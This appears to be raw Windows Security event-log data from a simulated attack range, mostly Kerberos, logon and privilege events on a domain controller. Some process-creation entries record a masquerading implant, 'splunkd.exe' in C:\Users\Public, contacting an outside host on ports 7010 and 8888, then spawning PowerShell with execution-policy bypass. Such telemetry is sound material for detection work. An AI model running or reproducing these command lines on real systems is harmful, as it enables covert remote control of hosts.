ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253010
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253009
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253008
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1094
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xac4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Process Information:
	New Process ID:		0xac4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253006
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253005
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253004
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253003
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253002
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253001
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253000
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1028
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA59E.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA20F278965434163AFA8AAE8317C8F6D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253033
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185B07

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253032
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185B07
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{48B70B81-02DB-14C2-AB11-0F71D0E762C2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253031
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{48B70B81-02DB-14C2-AB11-0F71D0E762C2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253030
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{48B70B81-02DB-14C2-AB11-0F71D0E762C2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253029
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253037
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x124c
	Creator Process Name:	C:\Users\Public\splunkd.exe
	Process Command Line:	powershell.exe -ExecutionPolicy Bypass -C dybztu

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253036
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x124c
	Creator Process Name:	C:\Users\Public\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Users\Public\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x6d4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253054
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253053
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253052
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183EDB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253051
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918A0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253050
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253049
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253048
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253047
Keywords=Audit Success
